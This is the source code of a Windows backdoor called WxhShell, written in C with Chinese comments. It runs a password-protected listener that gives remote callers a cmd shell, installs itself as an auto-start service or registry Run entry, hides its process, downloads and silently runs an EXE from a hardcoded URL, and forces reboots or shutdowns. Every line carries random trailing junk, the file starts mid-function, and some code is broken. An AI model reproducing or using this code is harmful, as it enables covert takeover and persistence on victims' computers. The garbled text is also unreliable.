    if(Boot(SHUTDOWN)) TbhsOf!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); to'O;f">n  
    else { D?? \H\  
    closesocket(wsh); CK} _xq2b  
    ExitThread(0); aw'o=/a8  
    } bRc~e@  
    break; [Z+E_Lbz  
    } T:EUI]  
  // 获取shell Jd/XEs?<q  
  case 's': { K;(t@GL?  
    CmdShell(wsh); JuXuS  
    closesocket(wsh); 1VO>Bh.Wm  
    ExitThread(0); g6<D 1r  
    break; [ST7CrwC  
  } .?-]+ -J?`  
  // 退出 1BA5|  
  case 'x': { P;l D ri  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >]l7AZ:,  
    CloseIt(wsh); u=!n9W~"  
    break; <o&\/uO~H  
    } $PKUcT0N9  
  // 离开 Y\7/`ty  
  case 'q': { aboA9pwH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l#%G~c8x  
    closesocket(wsh); *Y9'tHI  
    WSACleanup(); MG0d&[  
    exit(1); ^o6&|q  
    break; jD'$nKpg  
        } q#1Cm Kt4R  
  } zvP>8[   
  } #jR1ti)p  
*6 P)HU@  
  // 提示信息 $8Y|& P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wg 6  
} _,]@xFCOH  
  } 3!KEk?I]  
^>!~%Vv7!  
  return; ,zH\&D$>u  
} BZWGXzOFh  
:jioF{,  
// shell模块句柄 AoN |&o  
int CmdShell(SOCKET sock) ?$rH yI  
{ 7e`h,e=  
STARTUPINFO si; L k]/{t0  
ZeroMemory(&si,sizeof(si)); i?pC[Ao-_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g|V0[Hnq6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g7U>G=,;?U  
PROCESS_INFORMATION ProcessInfo; a$P$Ngi?S  
char cmdline[]="cmd"; |+(Hia,X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^B7C8YP  
  return 0; @c#M^:9Dc  
} \KPwh]0  
)Aa  h  
// 自身启动模式 n!t][d/g+  
int StartFromService(void) H;rLU9b  
{ 5X"WgR;  
typedef struct 23WlUM  
{ b&Go'C{p  
  DWORD ExitStatus; (J/!9NS:  
  DWORD PebBaseAddress; K_E- Hgg_  
  DWORD AffinityMask; 7[u$!.4{*  
  DWORD BasePriority; Stxrgmu  
  ULONG UniqueProcessId; H?<c eK'e  
  ULONG InheritedFromUniqueProcessId; "f<+~  
}   PROCESS_BASIC_INFORMATION; j*}2AI  
"jG-)k`a  
PROCNTQSIP NtQueryInformationProcess; ,}_uk]AQ  
\Zms  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  #mcU);s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dX:#KdK  
maTZNzy  
  HANDLE             hProcess; TdH~ sz  
  PROCESS_BASIC_INFORMATION pbi; 9J'3b <  
h9L/.>CX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GLIP;)h1  
  if(NULL == hInst ) return 0; sOLR*=F{  
&24z`ZS[w6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h9 &V   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nH^RQ'19  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v"a.%" oN8  
O:3DIT1#>  
  if (!NtQueryInformationProcess) return 0; i(@<KH  
bZsg7[: C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z@n779i  
  if(!hProcess) return 0; f.SmCgG  
=3?"s(9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =c(3EI'w  
Kp_^ 2V?  
  CloseHandle(hProcess); 2DbM48\E  
+4%: q~C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vs~lyM/  
if(hProcess==NULL) return 0; r 2L=gI  
D1VM_O  
HMODULE hMod; Co#_Cyxg=9  
char procName[255]; #yVMC;J?W  
unsigned long cbNeeded; &BDdJwE  
2r|!:^'?W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wk"zpI7L  
] /{987  
  CloseHandle(hProcess); .}l&lj@#  
`2Oh0{x0*O  
if(strstr(procName,"services")) return 1; // 以服务启动 @Ui dQX"b  
{<3>^ o|"  
  return 0; // 注册表启动 ;Jrk#7  
} Yi+~}YP.E(  
ep3iI77/  
// 主模块 ]\t+zF>&Y  
int StartWxhshell(LPSTR lpCmdLine) {Q la4U  
{ #Qp.O@e  
  SOCKET wsl; P7iU_CgyW  
BOOL val=TRUE; xz$S5tgDQK  
  int port=0; @0>3))  
  struct sockaddr_in door; I^z$0  
"gPAxt  
  if(wscfg.ws_autoins) Install(); _ooSMp|  
|ozlaj  
port=atoi(lpCmdLine); uJ!yM;{+  
wzRIvm{  
if(port<=0) port=wscfg.ws_port; Q5s?/r  
9w! G  
  WSADATA data; S(f V ,;Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8?7gyp!k_f  
:>t? ^r(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GCgpe(cQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G$D6#/rR  
  door.sin_family = AF_INET; 4U*uH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hsUP5_  
  door.sin_port = htons(port); E0i_sB~T  
;|Ja|@82  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zjrr*iw  
closesocket(wsl); \#A=twp  
return 1; r2*'5jk_  
} Pyx$$cj  
Um$a9S8b&  
  if(listen(wsl,2) == INVALID_SOCKET) { *ppb 4R;CW  
closesocket(wsl); j;k(AM<  
return 1; H?=D,  
} 7BX%z$_)A  
  Wxhshell(wsl); e]+ [lq\p@  
  WSACleanup(); c[Mz#BWG  
DjT ekn  
return 0; M\s^>7es  
-0) So  
} ~"*;lT5KX  
-e{H8ro  
// 以NT服务方式启动 pw7_j;}l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UI4Xv  
{ Vo%UiVHy  
DWORD   status = 0; ibOXh U  
  DWORD   specificError = 0xfffffff; D^Z~>D6  
A_t<SG5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O;A/(lPW+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]rh)AE!Y(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "iof -b=ys  
  serviceStatus.dwWin32ExitCode     = 0; 8bX\^&N  
  serviceStatus.dwServiceSpecificExitCode = 0; \\D~Yg\#  
  serviceStatus.dwCheckPoint       = 0; A*h)p@3t<  
  serviceStatus.dwWaitHint       = 0; [^gSWU  
bz~-uHC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H\kqmPl&  
  if (hServiceStatusHandle==0) return; ^/Hj^4~_U  
wBcDL/(>  
status = GetLastError(); DOXRU5uP3  
  if (status!=NO_ERROR) ~~ON!l9n  
{ Hc@Z7eQ3^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lh &L5p7  
    serviceStatus.dwCheckPoint       = 0; c3lfmTT6^  
    serviceStatus.dwWaitHint       = 0; |yI?}zyR  
    serviceStatus.dwWin32ExitCode     = status; ^yRCR] oT  
    serviceStatus.dwServiceSpecificExitCode = specificError; WPE@yI(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ubhem(p#  
    return; oh;F]*k6  
  } b>%I=H%g  
EMH?z2iGd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `.dTkL  
  serviceStatus.dwCheckPoint       = 0; IEzZ$9,A5  
  serviceStatus.dwWaitHint       = 0; U6=m4]~Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )_EobE\  
} Ze$:-7Czl  
7l Aa6"Y68  
// 处理NT服务事件,比如:启动、停止 P|.KMtG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2597#O  
{ >t8eVMMa  
switch(fdwControl) r/Pg,si  
{ +V |]:{3W  
case SERVICE_CONTROL_STOP: /$rS0@p  
  serviceStatus.dwWin32ExitCode = 0; nWZrB s _  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YKh%`Y1<  
  serviceStatus.dwCheckPoint   = 0; ?NI)3-l  
  serviceStatus.dwWaitHint     = 0; %!rsu-W:Y  
  { Yb =8\<;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pr<?E[  
  } :B- ,*@EU  
  return; {uj9fE,)  
case SERVICE_CONTROL_PAUSE: j )F~C8*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %h%r6EB1F  
  break; Ro:-u7q  
case SERVICE_CONTROL_CONTINUE: S0=BfkHi.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *OF7 {^~&  
  break; 4r(rWlM  
case SERVICE_CONTROL_INTERROGATE: ]Ly)%a32  
  break; fWm;cDM H  
}; wq]nz!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y i@61XI  
} dl{3fldb  
L761m7J]B  
// 标准应用程序主函数 lQ+-g#`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >5 5/@+^  
{ Q)a*bPz  
*pasI.2s#  
// 获取操作系统版本 N=+Up\h  
OsIsNt=GetOsVer(); 1*-58N*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n6o}$]H  
71/6=aq>n  
  // 从命令行安装 <E\BKC%M  
  if(strpbrk(lpCmdLine,"iI")) Install(); sZ4H\  
&2\.6rb.  
  // 下载执行文件 DTIy/  
if(wscfg.ws_downexe) { 9J]LV'f7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G>_ZUHd I  
  WinExec(wscfg.ws_filenam,SW_HIDE); &P {%C5?{  
} */8\Z46z  
50H[u|  
if(!OsIsNt) { 'ZDa*9nkF  
// 如果时win9x,隐藏进程并且设置为注册表启动 orU4{.e  
HideProc(); +vbNZqwz  
StartWxhshell(lpCmdLine); 4t8 Hy  
} Vfw$>og!  
else jY?%LY@5I  
  if(StartFromService()) *smo{!0Gg  
  // 以服务方式启动 `aI%laj&M  
  StartServiceCtrlDispatcher(DispatchTable); ?y04g u6p  
else :!A@B.E  
  // 普通方式启动 z(%Zji@!N  
  StartWxhshell(lpCmdLine); aVtwpkgZ  
4*dT|NU  
return 0; "1#,d#Q$  
} |n &6z  
-0\$JAyrx  
7I.[1V`  
\dc`}}Lc  
=========================================== IaF79}^  
d~_OWCg`  
l/I W"A  
iCEX|Tj;  
da<1,hF  
FP\[7?ZLn  
" ?QMs<  
A=3 U4L  
#include <stdio.h> @LmUCP~  
#include <string.h> >ab=LDoM  
#include <windows.h>  :D/R  
#include <winsock2.h> #e0+;kBh  
#include <winsvc.h> jf2E{48P  
#include <urlmon.h> (HJ60Hj  
Yp;x  
#pragma comment (lib, "Ws2_32.lib") "{:*fI;!  
#pragma comment (lib, "urlmon.lib") _6[NYv$"  
L`p[Dq.  
#define MAX_USER   100 // 最大客户端连接数 }z*p2)v`  
#define BUF_SOCK   200 // sock buffer R`<E3J\*  
#define KEY_BUFF   255 // 输入 buffer @F1pu3E  
bBQp:P?E  
#define REBOOT     0   // 重启 bIhL!Ty T.  
#define SHUTDOWN   1   // 关机  +*!!  
RcE%?2l D  
#define DEF_PORT   5000 // 监听端口 f Gfv{4R  
~>EVI=?  
#define REG_LEN     16   // 注册表键长度 >]`x~cE.5  
#define SVC_LEN     80   // NT服务名长度 C^~iz in  
BxG;vS3>*e  
// 从dll定义API `<Ftn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K4tX4U[Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >ylVES/V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >9klh-f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); doa$ ;=wg  
Q7s1M&K  
// wxhshell配置信息 {%$=^XO  
struct WSCFG { mU_O64  
  int ws_port;         // 监听端口 8L@di  Y  
  char ws_passstr[REG_LEN]; // 口令 04"hQt{[  
  int ws_autoins;       // 安装标记, 1=yes 0=no GQQ!3LwP\O  
  char ws_regname[REG_LEN]; // 注册表键名 ])JJ`Z8Bk  
  char ws_svcname[REG_LEN]; // 服务名 n-Xj>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~+g5?y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (*1 A0+S90  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WZr~Pb9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K XGs'D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c2U>89LlZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^Ve^}|qPc  
~Mx fud  
}; ;Cy@TzO/|  
wVVe L$28  
// default Wxhshell configuration L9.#/%I\  
struct WSCFG wscfg={DEF_PORT, g,;MV7yE  
    "xuhuanlingzhe", o?3R HP47  
    1, wfdFGoy(  
    "Wxhshell", x<l1s  
    "Wxhshell", ^#4s/mdVO  
            "WxhShell Service", 7~16letQ  
    "Wrsky Windows CmdShell Service", ymzm x$o=  
    "Please Input Your Password: ", A_.QHUjpx  
  1, { nV zN(  
  "http://www.wrsky.com/wxhshell.exe", aI<~+]  
  "Wxhshell.exe" 1mX*0>  
    }; A=$oYBB  
eZ!k'bS=  
// 消息定义模块 =%3nKSg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JvDsr0]\#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g|P hNo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (Ka# 6   
char *msg_ws_ext="\n\rExit."; d}ZH Y[  
char *msg_ws_end="\n\rQuit."; {ZcZ\Q;6  
char *msg_ws_boot="\n\rReboot..."; -db+Y:xUZ  
char *msg_ws_poff="\n\rShutdown..."; z)%1i  
char *msg_ws_down="\n\rSave to "; lK4+8VZ  
4(R2V]  
char *msg_ws_err="\n\rErr!"; B /W$RcV  
char *msg_ws_ok="\n\rOK!"; E ( @;p%:  
"7HB3?2>W  
char ExeFile[MAX_PATH]; "" U_|JH-  
int nUser = 0; {9Y'v  
HANDLE handles[MAX_USER]; `9ox?|iJ  
int OsIsNt; )hug<D *h  
#*!$!c{  
SERVICE_STATUS       serviceStatus; | 6>_L6t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aM~fRra7  
f2wW2]Fg  
// 函数声明 W%1S:2+Kl  
int Install(void); }>0 Kc=  
int Uninstall(void); ~S3eatM$9  
int DownloadFile(char *sURL, SOCKET wsh); \ax%I)3  
int Boot(int flag); }kj6hnQ  
void HideProc(void); L|X5Ru  
int GetOsVer(void); ^NDX4d;  
int Wxhshell(SOCKET wsl); Nj0)/)<r+  
void TalkWithClient(void *cs); aJ8pJ{,P  
int CmdShell(SOCKET sock); rg,63r  
int StartFromService(void); vNC0M:p,  
int StartWxhshell(LPSTR lpCmdLine); ]D%k)<YK  
N-gRfra+8L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6<Z: Xw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [fp"MPP3  
blcKtrYg  
// 数据结构和表定义 vgj^-  
SERVICE_TABLE_ENTRY DispatchTable[] = 9#<Og>t2y  
{ 5-^%\?,x  
{wscfg.ws_svcname, NTServiceMain}, 8-:k@W  
{NULL, NULL} zc+;VtP|8  
}; >A&@Wp1  
F-^HN%  
// 自我安装 `VtwKt*  
int Install(void) <+gl"lG  
{ ` a>vPW  
  char svExeFile[MAX_PATH]; v=tj.Vg  
  HKEY key; ozC!q)j  
  strcpy(svExeFile,ExeFile); M N#C2 qz  
Db(_T8sU  
// 如果是win9x系统,修改注册表设为自启动 %v[ Kk-d  
if(!OsIsNt) { 1v&Fo2ML  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?Z>.G{Wm@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "!tw ,Gp  
  RegCloseKey(key); 6[.Mx}h6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R`2A-c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /\rq$W_  
  RegCloseKey(key); <(4#4=ivP  
  return 0; ,SF.@^o@a  
    } Eap/7U1Q  
  } y.p6%E_`  
} aMQjoamz  
else { A Vm{#^p[(  
`{F~'t['  
// 如果是NT以上系统,安装为系统服务 R*Z]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |xZcT4  
if (schSCManager!=0) mE`qvavP|/  
{ >&QH{!(  
  SC_HANDLE schService = CreateService Rt^<xXX$  
  ( p{q!jm~Nq  
  schSCManager, 4q13xX  
  wscfg.ws_svcname, c1kxKxE  
  wscfg.ws_svcdisp, ]<gCq/V#  
  SERVICE_ALL_ACCESS, A&c@8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]^9* t,{9  
  SERVICE_AUTO_START, y?n2`l7f  
  SERVICE_ERROR_NORMAL, =`~Z@IbdI  
  svExeFile, Q)`gPX3F  
  NULL, *frJ^ Ws{  
  NULL, iN_D8dI  
  NULL, =5~F6to  
  NULL, <m,yFk  
  NULL K;p<f{PE  
  ); BD7@Mj*|  
  if (schService!=0) Pzp+I}  
  { pXh~#o6 V  
  CloseServiceHandle(schService); K\+}q{  
  CloseServiceHandle(schSCManager); .^lb LN^2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ie@`S&.8 T  
  strcat(svExeFile,wscfg.ws_svcname); x XM!E 8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ej%;%`C-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^ Wfgwmh  
  RegCloseKey(key); IT`=\K/[4  
  return 0; kt{C7qpD  
    } !UoU#YU  
  } Zknewv*sS4  
  CloseServiceHandle(schSCManager); C$LRY~ \  
} !I5~))E  
} RP,:[}mPl  
H [Lt%:r  
return 1; ouVjZF@kS  
} ; ,=h59`  
z5` 8G =A  
// 自我卸载 EeJqszmH  
int Uninstall(void) j;20JA/b  
{ 0[:9 Hb6  
  HKEY key; Ae j   
K- I\P6R`  
if(!OsIsNt) { Bw<zc=%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x}&a{;  
  RegDeleteValue(key,wscfg.ws_regname); ]hE +$sKd  
  RegCloseKey(key); .S!>9X,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5m^Hi} S _  
  RegDeleteValue(key,wscfg.ws_regname); 4b2mtLn_  
  RegCloseKey(key); Mf:M3H%YV+  
  return 0; pAil]f6  
  } sQ}%7BMK  
} <s/<b*T ^  
} d)0LVa(  
else { (+UmUx=  
LR3`=Z9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'Z.OF5|eGT  
if (schSCManager!=0) aLKMDiT  
{ v0`qMBr1y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h zZ-$IX X  
  if (schService!=0) cc41b*ci$  
  { R6q4 ["  
  if(DeleteService(schService)!=0) { iog # ,  
  CloseServiceHandle(schService); 8jggc#.  
  CloseServiceHandle(schSCManager); 5, -pBep<  
  return 0; wI! +L&Q  
  } t0e{| du  
  CloseServiceHandle(schService); ^+*GbY$'  
  } hB?,7-  
  CloseServiceHandle(schSCManager); VJN/#   
} O:;OR'N9  
} -4e) N*VVu  
9K;k%  
return 1; 4r1<,{gCS  
} NTm<6Is`  
>; &s['H  
// 从指定url下载文件 PNbcy!\U  
int DownloadFile(char *sURL, SOCKET wsh) #9D/jYK1X  
{ . QXG"R  
  HRESULT hr; > 'aG /(  
char seps[]= "/"; & =73D1A  
char *token; X<~k =qwA  
char *file; 7-".!M  
char myURL[MAX_PATH]; 6[*;M  
char myFILE[MAX_PATH]; 4[TS4p  
VyecTU"W  
strcpy(myURL,sURL); djsz!$  
  token=strtok(myURL,seps); K/vxzHSl  
  while(token!=NULL) 894r;UA7  
  { q Vm"f,ruo  
    file=token; 4D^ M<Xn  
  token=strtok(NULL,seps); W?qpnPW  
  } x0\e<x9s  
-uA3Y  
GetCurrentDirectory(MAX_PATH,myFILE); Z}8k[*.  
strcat(myFILE, "\\"); ]By0Xifew  
strcat(myFILE, file); |*^8~u3J"  
  send(wsh,myFILE,strlen(myFILE),0); uW}Hvj;0a*  
send(wsh,"...",3,0); M=5d95*-}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =U4f}W;  
  if(hr==S_OK) +65oC x  
return 0; \G$QNUU  
else >vWEUE[  
return 1; i`[#W(m  
5vD3K! \u  
} J| SwQE~  
6exI_3A4jh  
// 系统电源模块 YBX)eWslK  
int Boot(int flag) (U|)xA]y!  
{ XC|*A$x,  
  HANDLE hToken; )v%l0_z{  
  TOKEN_PRIVILEGES tkp; z,pNb%*O  
-#LjI.  
  if(OsIsNt) { CO-Iar  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /8xH$n&xoC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wgY6D!Y   
    tkp.PrivilegeCount = 1; 9p <:=T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [34zh="o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1ZT^)/G  
if(flag==REBOOT) { Wrmgu}q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3A-*vaySV  
  return 0; "\}b!gl$8  
} Q_ctX|.  
else { a9[mZVMgUK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i=oTg  
  return 0; OmB TA=E<  
} ,H>W:O  
  } XZ.7c{B<  
  else { wJ6_I$>  
if(flag==REBOOT) { :qxm !P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RX:R*{]-  
  return 0; -Q6(+(7_|  
} ;0IvF#SJ(.  
else { `9/0J-7*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oP/>ju  
  return 0; :<L5sp  
} ^6Yd}  
} 6\NvG,8  
-*?p F_*w  
return 1; R"@7m!IA  
} ]k[x9,IU\y  
E W`W~h[  
// win9x进程隐藏模块 jDR')ascn  
void HideProc(void) FJ{=2]x|  
{ jz*0`9&_  
(~h7rAEc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~i% -WX  
  if ( hKernel != NULL ) 1\/{#c  
  { 9I85EcT^4"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ton1oq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %NNj9Bl<VV  
    FreeLibrary(hKernel); DKX/W+#a  
  } W3)\co  
IXnb]q.  
return; TN5>"? ?"  
} oz LH]*  
eNtf#Rqym  
// 获取操作系统版本 ]DO&x+Rb  
int GetOsVer(void) e,(a6X  
{ t<Ot|Ex  
  OSVERSIONINFO winfo; xk& NAB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <Z},A-\S*  
  GetVersionEx(&winfo); J,??x0GDx,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +p9- .YM  
  return 1; I_ONbJ9]  
  else d PsLZ"I  
  return 0; x>v-m*4Z4@  
} S_6g~PHsr  
oB p3JX9_f  
// 客户端句柄模块 Nb0Ik/:<  
int Wxhshell(SOCKET wsl) O$^xkv5.  
{ OZf6/10O/  
  SOCKET wsh; Zae.MO^C!  
  struct sockaddr_in client; uQnT[\k?  
  DWORD myID; S<"oUdkz  
%)?`{O~ h  
  while(nUser<MAX_USER) @Gt`Ds9=  
{ V@[rf<,  
  int nSize=sizeof(client); m^<p8KZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :5J_5,?;`  
  if(wsh==INVALID_SOCKET) return 1; uAUp5XP|Z  
S`0NPGn;@[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 28a$NP\KW  
if(handles[nUser]==0) sf$o(^P9\A  
  closesocket(wsh); >TY6O.]  
else R::zuv  
  nUser++; 'S*k_vuN  
  } wjrG7*_Y4v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M%I@<~wl  
DSvmVI  
  return 0; yI&9\fn  
} >{wuEPA  
J? .F\`N)  
// 关闭 socket {L].T#  
void CloseIt(SOCKET wsh) BgM%+b8u  
{ -}P7$|O &  
closesocket(wsh); ]W/>Ldv  
nUser--; 9gy(IRGq/  
ExitThread(0); le8 #Z}p  
} 2Q@Y^t   
M/pMs 6  
// 客户端请求句柄 0mTr-`s  
void TalkWithClient(void *cs) xR?V,uV'$&  
{ Od##U6e`  
%Ds+GM-  
  SOCKET wsh=(SOCKET)cs; Ab2Q \+,  
  char pwd[SVC_LEN]; 2 o4^  
  char cmd[KEY_BUFF]; "u492^  
char chr[1]; !X]8dyW  
int i,j; uH:YKH':/  
V%*b@zv  
  while (nUser < MAX_USER) { x6W `hpL  
~E)fpGJ  
if(wscfg.ws_passstr) { 9%tobo@J~n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?s2^zT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Su7bm1  
  //ZeroMemory(pwd,KEY_BUFF); LHkQ'O0  
      i=0; =^tA_AxVw  
  while(i<SVC_LEN) { iX"C/L|JN  
s2REt$.q  
  // 设置超时 Jxa4hM0  
  fd_set FdRead; Yf}xwpuLk  
  struct timeval TimeOut; *z8|P#@  
  FD_ZERO(&FdRead); 0^3+P%(o@  
  FD_SET(wsh,&FdRead); D=+NxR[  
  TimeOut.tv_sec=8; ,eRQu.  
  TimeOut.tv_usec=0; nL-K)G,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,[e\cnq[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4CrLkr  
p*20-!{A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !q' 4D!I  
  pwd=chr[0]; V 1/p_)A  
  if(chr[0]==0xd || chr[0]==0xa) { D +RiM~LH8  
  pwd=0; xr%#dVk  
  break; Ln!A:dP}c-  
  } [9o4hw  
  i++; G^;>8r  
    } 5T?-zFMM  
fuMJdAuY7d  
  // 如果是非法用户,关闭 socket Pw[g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !)pdamdA  
} O9"/ kmB  
Uz dc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aG%, cQ1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'e!J06  
; )Eo7?]-  
while(1) { Qdf=XG5  
S1S;F9F  
  ZeroMemory(cmd,KEY_BUFF); A/}W&bnluD  
yZ kyC'/  
      // 自动支持客户端 telnet标准   S/tIwG ~e3  
  j=0; Ig6T g ?  
  while(j<KEY_BUFF) { . (}1%22  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /.z;\=;[n!  
  cmd[j]=chr[0]; i'#Gy,R  
  if(chr[0]==0xa || chr[0]==0xd) { 4 %W:  
  cmd[j]=0; )]htm&q5  
  break; yuhnYR\`m  
  } ~*W!mlg  
  j++; SF*n1V3hx  
    } 3W_PE+:Kr  
2RM+W2!!  
  // 下载文件 j+-P :xvP  
  if(strstr(cmd,"http://")) { ,Lr<)p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .6f%?oo  
  if(DownloadFile(cmd,wsh)) S* *oA 6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); / JkC+7H4  
  else qIMA6u/  
